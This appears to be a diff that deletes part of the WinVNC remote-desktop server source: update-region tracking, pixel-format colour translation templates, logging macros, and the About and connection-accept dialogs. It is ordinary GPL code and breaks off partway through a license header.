Region2D copyrgn = copied.intersect(cliprgn);
copied = copied.subtract(copyrgn);
// Save the update and copyrect rectangles info the UpdateInfo
updatergn.get_rects(info.changed, 1, 1);
copyrgn.get_rects(info.copied, copy_delta.x <= 0, copy_delta.y <= 0);
info.copy_delta = copy_delta;
}
void SimpleUpdateTracker::flush_update(UpdateTracker &info, const Region2D &cliprgn) {
Region2D copied_clipped = copied.intersect(cliprgn);
Region2D changed_clipped = changed.intersect(cliprgn);
copied = copied.subtract(copied_clipped);
changed = changed.subtract(changed_clipped);
if (!copied_clipped.is_empty()) {
info.add_copied(copied_clipped, copy_delta);
}
if (!changed_clipped.is_empty())
info.add_changed(changed_clipped);
}
void SimpleUpdateTracker::get_update(UpdateInfo &info) const {
info.copied.clear();
info.changed.clear();
info.copy_delta = copy_delta;
Region2D copied_dest = copied.subtract(changed);
copied_dest.get_rects(info.copied, copy_delta.x <= 0, copy_delta.y <= 0);
changed.get_rects(info.changed, 1, 1);
}
void SimpleUpdateTracker::get_update(UpdateTracker &to) const {
if (!copied.is_empty()) {
to.add_copied(copied, copy_delta);
}
if (!changed.is_empty()) {
to.add_changed(changed);
}
}

View File

@ -1,97 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the program is not available from the place from
// which you received this file, check http://www.realvnc.com/ or contact
// the authors on info@realvnc.com for information on obtaining it.
#ifndef __RFB_UPDATETRACKER_INCLUDED__
#define __RFB_UPDATETRACKER_INCLUDED__
#include "rfbRect.h"
#include "rfbRegion.h"
namespace rfb {
struct UpdateInfo {
RectVector copied;
Point copy_delta;
RectVector changed;
};
class UpdateTracker {
public:
UpdateTracker() {};
virtual ~UpdateTracker() {};
virtual void add_changed(const Region2D &region) = 0;
virtual void add_copied(const Region2D &dest, const Point &delta) = 0;
};
class ClippedUpdateTracker : public UpdateTracker {
public:
ClippedUpdateTracker(UpdateTracker &child_) : child(child_) {};
ClippedUpdateTracker(UpdateTracker &child_,
const Region2D &cliprgn_) : child(child_), cliprgn(cliprgn_) {};
virtual ~ClippedUpdateTracker() {};
virtual void set_clip_region(const Region2D cliprgn_) {cliprgn = cliprgn_;};
virtual void add_changed(const Region2D &region);
virtual void add_copied(const Region2D &dest, const Point &delta);
protected:
UpdateTracker &child;
Region2D cliprgn;
};
class SimpleUpdateTracker : public UpdateTracker {
public:
SimpleUpdateTracker(bool use_copyrect=false);
virtual ~SimpleUpdateTracker();
virtual void enable_copyrect(bool enable) {copy_enabled=enable;};
virtual void add_changed(const Region2D &region);
virtual void add_copied(const Region2D &dest, const Point &delta);
// Fill the supplied UpdateInfo structure with update information
// Also removes the updates that are returned from the update tracker
virtual void flush_update(UpdateInfo &info, const Region2D &cliprgn);
virtual void flush_update(UpdateTracker &info, const Region2D &cliprgn);
// Pass the current updates to the supplied tracker
// Does not affect internal state of this tracker
virtual void get_update(UpdateInfo &to) const;
virtual void get_update(UpdateTracker &to) const;
// Get the changed/copied regions
virtual const Region2D& get_changed_region() const {return changed;};
virtual const Region2D& get_copied_region() const {return copied;};
virtual bool is_empty() const {return changed.is_empty() && copied.is_empty();};
virtual void clear() {changed.clear(); copied.clear();};
protected:
Region2D changed;
Region2D copied;
Point copy_delta;
bool copy_enabled;
};
};
#endif __RFB_UPDATETRACKER_INCLUDED__

View File

@ -1,28 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
#include "stdhdrs.h"
// Create the main log object
//VNCLog vnclog;

View File

@ -1,65 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
#define WIN32_LEAN_AND_MEAN
#define STRICT
#include <windows.h>
#include <shellapi.h>
#include <winsock2.h>
#include <malloc.h>
#include <stdio.h>
#include <process.h>
#include <crtdbg.h>
// LOGGING SUPPORT
#include "vnclog.h"
extern VNCLog vnclog;
// No logging at all
#define LL_NONE 0
// Log server startup/shutdown
#define LL_STATE 0
// Log connect/disconnect
#define LL_CLIENTS 1
// Log connection errors (wrong pixfmt, etc)
#define LL_CONNERR 0
// Log socket errors
#define LL_SOCKERR 4
// Log internal errors
#define LL_INTERR 0
// Log internal warnings
#define LL_INTWARN 8
// Log internal info
#define LL_INTINFO 9
// Log socket errors
#define LL_SOCKINFO 10
// Log everything, including internal table setup, etc.
#define LL_ALL 10
// Macros for sticking in the current file name
#define VNCLOG(s) (__FILE__ " : " s)

View File

@ -1,93 +0,0 @@
/*
* tableinitcmtemplate.c - template for initialising lookup tables for
* translation from a colour map to true colour.
*
* This file shouldn't be compiled. It is included multiple times by
* translate.c, each time with a different definition of the macro OUT.
* For each value of OUT, this file defines a function which allocates an
* appropriately sized lookup table and initialises it.
*
* I know this code isn't nice to read because of all the macros, but
* efficiency is important here.
*/
#if !defined(OUT)
#error "This file shouldn't be compiled."
#error "It is included as part of translate.c"
#endif
#define OUT_T CONCAT2E(CARD,OUT)
#define SwapOUT(x) CONCAT2E(Swap,OUT) (x)
#define rfbInitColourMapSingleTableOUT \
CONCAT2E(rfbInitColourMapSingleTable,OUT)
// THIS CODE HAS BEEN MODIFIED FROM THE ORIGINAL UNIX SOURCE
// TO WORK FOR WINVNC. THE PALETTE SHOULD REALLY BE RETRIEVED
// FROM THE VNCDESKTOP OBJECT, RATHER THAN FROM THE OS DIRECTLY
static void
rfbInitColourMapSingleTableOUT (char **table,
rfbPixelFormat *in,
rfbPixelFormat *out)
{
//vnclog.Print(LL_ALL, VNCLOG("rfbInitColourMapSingleTable called\n"));
// ALLOCATE SPACE FOR COLOUR TABLE
int nEntries = 1 << in->bitsPerPixel;
// Allocate the table
if (*table) free(*table);
*table = (char *)malloc(nEntries * sizeof(OUT_T));
if (*table == NULL)
{
//vnclog.Print(LL_INTERR, VNCLOG("failed to allocate translation table\n"));
return;
}
// Obtain the system palette
HDC hDC = GetDC(NULL);
PALETTEENTRY palette[256];
UINT entries = ::GetSystemPaletteEntries(hDC, 0, 256, palette);
//vnclog.Print(LL_INTINFO, VNCLOG("got %u palette entries\n"), GetLastError());
ReleaseDC(NULL, hDC);
// - Set the rest of the palette to something nasty but usable
unsigned int i;
for (i=entries;i<256;i++) {
palette[i].peRed = i % 2 ? 255 : 0;
palette[i].peGreen = i/2 % 2 ? 255 : 0;
palette[i].peBlue = i/4 % 2 ? 255 : 0;
}
// COLOUR TRANSLATION
// We now have the colour table intact. Map it into a translation table
int r, g, b;
OUT_T *t = (OUT_T *)*table;
for (i = 0; i < nEntries; i++)
{
// Split down the RGB data
r = palette[i].peRed;
g = palette[i].peGreen;
b = palette[i].peBlue;
// Now translate it
t[i] = ((((r * out->redMax + 127) / 255) << out->redShift) |
(((g * out->greenMax + 127) / 255) << out->greenShift) |
(((b * out->blueMax + 127) / 255) << out->blueShift));
#if (OUT != 8)
if (out->bigEndian != in->bigEndian)
{
t[i] = SwapOUT(t[i]);
}
#endif
}
//vnclog.Print(LL_ALL, VNCLOG("rfbInitColourMapSingleTable done\n"));
}
#undef OUT_T
#undef SwapOUT
#undef rfbInitColourMapSingleTableOUT

View File

@ -1,122 +0,0 @@
/*
* tableinittctemplate.c - template for initialising lookup tables for
* truecolour to truecolour translation.
*
* This file shouldn't be compiled. It is included multiple times by
* translate.c, each time with a different definition of the macro OUT.
* For each value of OUT, this file defines two functions for initialising
* lookup tables. One is for truecolour translation using a single lookup
* table, the other is for truecolour translation using three separate
* lookup tables for the red, green and blue values.
*
* I know this code isn't nice to read because of all the macros, but
* efficiency is important here.
*/
#if !defined(OUT)
#error "This file shouldn't be compiled."
#error "It is included as part of translate.c"
#endif
#define OUT_T CONCAT2E(CARD,OUT)
#define SwapOUT(x) CONCAT2E(Swap,OUT) (x)
#define rfbInitTrueColourSingleTableOUT \
CONCAT2E(rfbInitTrueColourSingleTable,OUT)
#define rfbInitTrueColourRGBTablesOUT CONCAT2E(rfbInitTrueColourRGBTables,OUT)
#define rfbInitOneRGBTableOUT CONCAT2E(rfbInitOneRGBTable,OUT)
static void
rfbInitOneRGBTableOUT (OUT_T *table, int inMax, int outMax, int outShift,
int swap);
/*
* rfbInitTrueColourSingleTable sets up a single lookup table for truecolour
* translation.
*/
static void
rfbInitTrueColourSingleTableOUT (char **table, rfbPixelFormat *in,
rfbPixelFormat *out)
{
int i;
int inRed, inGreen, inBlue, outRed, outGreen, outBlue;
OUT_T *t;
int nEntries = 1 << in->bitsPerPixel;
if (*table) free(*table);
*table = (char *)malloc(nEntries * sizeof(OUT_T));
if (table == NULL) return;
t = (OUT_T *)*table;
for (i = 0; i < nEntries; i++) {
inRed = (i >> in->redShift) & in->redMax;
inGreen = (i >> in->greenShift) & in->greenMax;
inBlue = (i >> in->blueShift) & in->blueMax;
outRed = (inRed * out->redMax + in->redMax / 2) / in->redMax;
outGreen = (inGreen * out->greenMax + in->greenMax / 2) / in->greenMax;
outBlue = (inBlue * out->blueMax + in->blueMax / 2) / in->blueMax;
t[i] = ((outRed << out->redShift) |
(outGreen << out->greenShift) |
(outBlue << out->blueShift));
#if (OUT != 8)
if (out->bigEndian != in->bigEndian) {
t[i] = SwapOUT(t[i]);
}
#endif
}
}
/*
* rfbInitTrueColourRGBTables sets up three separate lookup tables for the
* red, green and blue values.
*/
static void
rfbInitTrueColourRGBTablesOUT (char **table, rfbPixelFormat *in,
rfbPixelFormat *out)
{
OUT_T *redTable;
OUT_T *greenTable;
OUT_T *blueTable;
if (*table) free(*table);
*table = (char *)malloc((in->redMax + in->greenMax + in->blueMax + 3)
* sizeof(OUT_T));
redTable = (OUT_T *)*table;
greenTable = redTable + in->redMax + 1;
blueTable = greenTable + in->greenMax + 1;
rfbInitOneRGBTableOUT (redTable, in->redMax, out->redMax,
out->redShift, (out->bigEndian != in->bigEndian));
rfbInitOneRGBTableOUT (greenTable, in->greenMax, out->greenMax,
out->greenShift, (out->bigEndian != in->bigEndian));
rfbInitOneRGBTableOUT (blueTable, in->blueMax, out->blueMax,
out->blueShift, (out->bigEndian != in->bigEndian));
}
static void
rfbInitOneRGBTableOUT (OUT_T *table, int inMax, int outMax, int outShift,
int swap)
{
int i;
int nEntries = inMax + 1;
for (i = 0; i < nEntries; i++) {
table[i] = ((i * outMax + inMax / 2) / inMax) << outShift;
#if (OUT != 8)
if (swap) {
table[i] = SwapOUT(table[i]);
}
#endif
}
}
#undef OUT_T
#undef SwapOUT
#undef rfbInitTrueColourSingleTableOUT
#undef rfbInitTrueColourRGBTablesOUT
#undef rfbInitOneRGBTableOUT

View File

@ -1,96 +0,0 @@
/*
* tabletranstemplate.c - template for translation using lookup tables.
*
* This file shouldn't be compiled. It is included multiple times by
* translate.c, each time with different definitions of the macros IN and OUT.
*
* For each pair of values IN and OUT, this file defines two functions for
* translating a given rectangle of pixel data. One uses a single lookup
* table, and the other uses three separate lookup tables for the red, green
* and blue values.
*
* I know this code isn't nice to read because of all the macros, but
* efficiency is important here.
*/
#if !defined(IN) || !defined(OUT)
#error "This file shouldn't be compiled."
#error "It is included as part of translate.c"
#endif
#define IN_T CONCAT2E(CARD,IN)
#define OUT_T CONCAT2E(CARD,OUT)
#define rfbTranslateWithSingleTableINtoOUT \
CONCAT4E(rfbTranslateWithSingleTable,IN,to,OUT)
#define rfbTranslateWithRGBTablesINtoOUT \
CONCAT4E(rfbTranslateWithRGBTables,IN,to,OUT)
/*
* rfbTranslateWithSingleTableINtoOUT translates a rectangle of pixel data
* using a single lookup table.
*/
static void
rfbTranslateWithSingleTableINtoOUT (char *table, rfbPixelFormat *in,
rfbPixelFormat *out,
char *iptr, char *optr,
int bytesBetweenInputLines,
int width, int height)
{
IN_T *ip = (IN_T *)iptr;
OUT_T *op = (OUT_T *)optr;
int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width;
OUT_T *opLineEnd;
OUT_T *t = (OUT_T *)table;
while (height > 0) {
opLineEnd = op + width;
while (op < opLineEnd) {
*(op++) = t[*(ip++)];
}
ip += ipextra;
height--;
}
}
/*
* rfbTranslateWithRGBTablesINtoOUT translates a rectangle of pixel data
* using three separate lookup tables for the red, green and blue values.
*/
static void
rfbTranslateWithRGBTablesINtoOUT (char *table, rfbPixelFormat *in,
rfbPixelFormat *out,
char *iptr, char *optr,
int bytesBetweenInputLines,
int width, int height)
{
IN_T *ip = (IN_T *)iptr;
OUT_T *op = (OUT_T *)optr;
int ipextra = bytesBetweenInputLines / sizeof(IN_T) - width;
OUT_T *opLineEnd;
OUT_T *redTable = (OUT_T *)table;
OUT_T *greenTable = redTable + in->redMax + 1;
OUT_T *blueTable = greenTable + in->greenMax + 1;
while (height > 0) {
opLineEnd = op + width;
while (op < opLineEnd) {
*(op++) = (redTable[(*ip >> in->redShift) & in->redMax] |
greenTable[(*ip >> in->greenShift) & in->greenMax] |
blueTable[(*ip >> in->blueShift) & in->blueMax]);
ip++;
}
ip += ipextra;
height--;
}
}
#undef IN_T
#undef OUT_T
#undef rfbTranslateWithSingleTableINtoOUT
#undef rfbTranslateWithRGBTablesINtoOUT

View File

@ -1,137 +0,0 @@
/*
* translate.c - translate between different pixel formats
*/
/*
* Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
*
* This is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* This software is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this software; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
* USA.
*/
#include "stdhdrs.h"
#include "translate.h"
#include <stdio.h>
#include "rfb.h"
#define CONCAT2(a,b) a##b
#define CONCAT2E(a,b) CONCAT2(a,b)
#define CONCAT4(a,b,c,d) a##b##c##d
#define CONCAT4E(a,b,c,d) CONCAT4(a,b,c,d)
#define OUT 8
#include "tableinittctemplate.cpp"
#include "tableinitcmtemplate.cpp"
#define IN 8
#include "tabletranstemplate.cpp"
#undef IN
#define IN 16
#include "tabletranstemplate.cpp"
#undef IN
#define IN 32
#include "tabletranstemplate.cpp"
#undef IN
#undef OUT
#define OUT 16
#include "tableinittctemplate.cpp"
#include "tableinitcmtemplate.cpp"
#define IN 8
#include "tabletranstemplate.cpp"
#undef IN
#define IN 16
#include "tabletranstemplate.cpp"
#undef IN
#define IN 32
#include "tabletranstemplate.cpp"
#undef IN
#undef OUT
#define OUT 32
#include "tableinittctemplate.cpp"
#include "tableinitcmtemplate.cpp"
#define IN 8
#include "tabletranstemplate.cpp"
#undef IN
#define IN 16
#include "tabletranstemplate.cpp"
#undef IN
#define IN 32
#include "tabletranstemplate.cpp"
#undef IN
#undef OUT
rfbInitTableFnType rfbInitTrueColourSingleTableFns[3] = {
rfbInitTrueColourSingleTable8,
rfbInitTrueColourSingleTable16,
rfbInitTrueColourSingleTable32
};
rfbInitTableFnType rfbInitColourMapSingleTableFns[3] = {
rfbInitColourMapSingleTable8,
rfbInitColourMapSingleTable16,
rfbInitColourMapSingleTable32
};
rfbInitTableFnType rfbInitTrueColourRGBTablesFns[3] = {
rfbInitTrueColourRGBTables8,
rfbInitTrueColourRGBTables16,
rfbInitTrueColourRGBTables32
};
rfbTranslateFnType rfbTranslateWithSingleTableFns[3][3] = {
{ rfbTranslateWithSingleTable8to8,
rfbTranslateWithSingleTable8to16,
rfbTranslateWithSingleTable8to32 },
{ rfbTranslateWithSingleTable16to8,
rfbTranslateWithSingleTable16to16,
rfbTranslateWithSingleTable16to32 },
{ rfbTranslateWithSingleTable32to8,
rfbTranslateWithSingleTable32to16,
rfbTranslateWithSingleTable32to32 }
};
rfbTranslateFnType rfbTranslateWithRGBTablesFns[3][3] = {
{ rfbTranslateWithRGBTables8to8,
rfbTranslateWithRGBTables8to16,
rfbTranslateWithRGBTables8to32 },
{ rfbTranslateWithRGBTables16to8,
rfbTranslateWithRGBTables16to16,
rfbTranslateWithRGBTables16to32 },
{ rfbTranslateWithRGBTables32to8,
rfbTranslateWithRGBTables32to16,
rfbTranslateWithRGBTables32to32 }
};
// rfbTranslateNone is used when no translation is required.
void
rfbTranslateNone(char *table, rfbPixelFormat *in, rfbPixelFormat *out,
char *iptr, char *optr, int bytesBetweenInputLines,
int width, int height)
{
int bytesPerOutputLine = width * (out->bitsPerPixel / 8);
while (height > 0) {
memcpy(optr, iptr, bytesPerOutputLine);
iptr += bytesBetweenInputLines;
optr += bytesPerOutputLine;
height--;
}
}

View File

@ -1,79 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
/* translate.h - prototypes of functions in translate.cpp */
#ifndef TRANSLATE_H__
#define TRANSLATE_H__
#include "stdhdrs.h"
#include "rfb.h"
// Translate function prototype!
typedef void (*rfbTranslateFnType)(char *table, rfbPixelFormat *in,
rfbPixelFormat *out,
char *iptr, char *optr,
int bytesBetweenInputLines,
int width, int height);
// Init function prototype!
typedef void (*rfbInitTableFnType)(char **table, rfbPixelFormat *in,
rfbPixelFormat *out);
// External translation stuff
extern void rfbTranslateNone(char *table, rfbPixelFormat *in,
rfbPixelFormat *out,
char *iptr, char *optr,
int bytesBetweenInputLines,
int width, int height);
// Macro to compare pixel formats.
#define PF_EQ(x,y) \
((x.bitsPerPixel == y.bitsPerPixel) && \
(x.depth == y.depth) && \
(x.trueColour == y.trueColour) && \
((x.bigEndian == y.bigEndian) || (x.bitsPerPixel == 8)) && \
(!x.trueColour || ((x.redMax == y.redMax) && \
(x.greenMax == y.greenMax) && \
(x.blueMax == y.blueMax) && \
(x.redShift == y.redShift) && \
(x.greenShift == y.greenShift) && \
(x.blueShift == y.blueShift))))
// Translation functions themselves
extern rfbInitTableFnType rfbInitTrueColourSingleTableFns[];
extern rfbInitTableFnType rfbInitColourMapSingleTableFns[];
extern rfbInitTableFnType rfbInitTrueColourRGBTablesFns[];
extern rfbTranslateFnType rfbTranslateWithSingleTableFns[3][3];
extern rfbTranslateFnType rfbTranslateWithRGBTablesFns[3][3];
/*
extern Bool rfbSetTranslateFunction(rfbClientPtr cl);
extern void rfbSetClientColourMaps(int firstColour, int nColours);
extern Bool rfbSetClientColourMap(rfbClientPtr cl, int firstColour,
int nColours);
*/
#endif

View File

@ -1,123 +0,0 @@
// Copyright (C) 2002-2003 RealVNC Ltd. All Rights Reserved.
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncAbout.cpp
// Implementation of the About dialog!
#include "stdhdrs.h"
#include "WinVNC.h"
#include "vncAbout.h"
// Constructor/destructor
vncAbout::vncAbout()
{
m_dlgvisible = FALSE;
}
vncAbout::~vncAbout()
{
}
// Initialisation
BOOL
vncAbout::Init()
{
return TRUE;
}
// Dialog box handling functions
void
vncAbout::Show(BOOL show)
{
if (show)
{
if (!m_dlgvisible)
{
DialogBoxParam(hAppInstance,
MAKEINTRESOURCE(IDD_ABOUT),
NULL,
(DLGPROC) DialogProc,
(LONG) this);
}
}
}
BOOL CALLBACK
vncAbout::DialogProc(HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam )
{
// We use the dialog-box's USERDATA to store a _this pointer
// This is set only once WM_INITDIALOG has been recieved, though!
vncAbout *_this = (vncAbout *) GetWindowLong(hwnd, GWL_USERDATA);
switch (uMsg)
{
case WM_INITDIALOG:
{
// Retrieve the Dialog box parameter and use it as a pointer
// to the calling vncProperties object
SetWindowLong(hwnd, GWL_USERDATA, lParam);
_this = (vncAbout *) lParam;
// Insert the build time information
extern char buildtime[];
SetDlgItemText(hwnd, IDC_BUILDTIME, buildtime);
// Show the dialog
SetForegroundWindow(hwnd);
_this->m_dlgvisible = TRUE;
return TRUE;
}
case WM_COMMAND:
switch (LOWORD(wParam))
{
case IDCANCEL:
case IDOK:
// Close the dialog
EndDialog(hwnd, TRUE);
_this->m_dlgvisible = FALSE;
return TRUE;
}
break;
case WM_DESTROY:
EndDialog(hwnd, FALSE);
_this->m_dlgvisible = FALSE;
return TRUE;
}
return 0;
}

View File

@ -1,58 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncAbout
// Object implementing the About dialog for WinVNC.
class vncAbout;
#if (!defined(_WINVNC_VNCABOUT))
#define _WINVNC_VNCABOUT
// Includes
#include "stdhdrs.h"
// The vncAbout class itself
class vncAbout
{
public:
// Constructor/destructor
vncAbout();
~vncAbout();
// Initialisation
BOOL Init();
// The dialog box window proc
static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
// General
void Show(BOOL show);
// Implementation
BOOL m_dlgvisible;
};
#endif // _WINVNC_VNCPROPERTIES

View File

@ -1,163 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
// the authors on vnc@uk.research.att.com for information on obtaining it.
// vncAcceptDialog.cpp: implementation of the vncAcceptDialog class, used
// to query whether or not to accept incoming connections.
#include "stdhdrs.h"
#include "vncAcceptDialog.h"
#include "WinVNC.h"
#include "vncService.h"
#include "resource.h"
// Constructor
vncAcceptDialog::vncAcceptDialog(UINT timeoutSecs, const char *ipAddress)
{
m_timeoutSecs = timeoutSecs;
m_ipAddress = strdup(ipAddress);
}
// Destructor
vncAcceptDialog::~vncAcceptDialog()
{
if (m_ipAddress)
free(m_ipAddress);
}
// Routine called to activate the dialog and, once it's done, delete it
BOOL vncAcceptDialog::DoDialog()
{
int retVal = DialogBoxParam(hAppInstance, MAKEINTRESOURCE(IDD_ACCEPT_CONN),
NULL, (DLGPROC) vncAcceptDlgProc, (LONG) this);
delete this;
return retVal == IDACCEPT;
}
// Callback function - handles messages sent to the dialog box
BOOL CALLBACK vncAcceptDialog::vncAcceptDlgProc(HWND hwnd,
UINT uMsg,
WPARAM wParam,
LPARAM lParam) {
// This is a static method, so we don't know which instantiation we're
// dealing with. But we can get a pseudo-this from the parameter to
// WM_INITDIALOG, which we therafter store with the window and retrieve
// as follows:
vncAcceptDialog *_this = (vncAcceptDialog *) GetWindowLong(hwnd, GWL_USERDATA);
switch (uMsg) {
// Dialog has just been created
case WM_INITDIALOG:
{
// Save the lParam into our user data so that subsequent calls have
// access to the parent C++ object
SetWindowLong(hwnd, GWL_USERDATA, lParam);
vncAcceptDialog *_this = (vncAcceptDialog *) lParam;
// Set the IP-address string
SetDlgItemText(hwnd, IDC_ACCEPT_IP, _this->m_ipAddress);
if (SetTimer(hwnd, 1, 1000, NULL) == 0)
EndDialog(hwnd, IDREJECT);
_this->m_timeoutCount = _this->m_timeoutSecs;
// Attempt to mimic Win98/2000 dialog behaviour
if ((vncService::IsWinNT() && (vncService::VersionMajor() <= 4)) ||
(vncService::IsWin95() && (vncService::VersionMinor() == 0)))
{
// Perform special hack to display the dialog safely
if (GetWindowThreadProcessId(GetForegroundWindow(), NULL) != GetCurrentProcessId())
{
// We can't set our dialog as foreground if the foreground window
// doesn't belong to us - it's unsafe!
SetActiveWindow(hwnd);
_this->m_foreground_hack = TRUE;
_this->m_flash_state = FALSE;
}
}
if (!_this->m_foreground_hack) {
SetForegroundWindow(hwnd);
}
// Beep
MessageBeep(MB_ICONEXCLAMATION);
// Return success!
return TRUE;
}
// Timer event
case WM_TIMER:
if ((_this->m_timeoutCount) == 0)
EndDialog(hwnd, IDREJECT);
_this->m_timeoutCount--;
// Flash if necessary
if (_this->m_foreground_hack) {
if (GetWindowThreadProcessId(GetForegroundWindow(), NULL) != GetCurrentProcessId())
{
_this->m_flash_state = !_this->m_flash_state;
FlashWindow(hwnd, _this->m_flash_state);
} else {
_this->m_foreground_hack = FALSE;
}
}
// Update the displayed count
char temp[256];
sprintf(temp, "AutoReject:%u", (_this->m_timeoutCount));
SetDlgItemText(hwnd, IDC_ACCEPT_TIMEOUT, temp);
break;
// Dialog has just received a command
case WM_COMMAND:
switch (LOWORD(wParam)) {
// User clicked Accept or pressed return
case IDACCEPT:
case IDOK:
EndDialog(hwnd, IDACCEPT);
return TRUE;
case IDREJECT:
case IDCANCEL:
EndDialog(hwnd, IDREJECT);
return TRUE;
};
break;
// Window is being destroyed! (Should never happen)
case WM_DESTROY:
EndDialog(hwnd, IDREJECT);
return TRUE;
}
return 0;
}

View File

@ -1,71 +0,0 @@
// Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved.
//
// This file is part of the VNC system.
//
// The VNC system is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307,
// USA.
//
// If the source code for the VNC system is not available from the place
// whence you received this file, check http://www.uk.research.att.com/vnc or contact
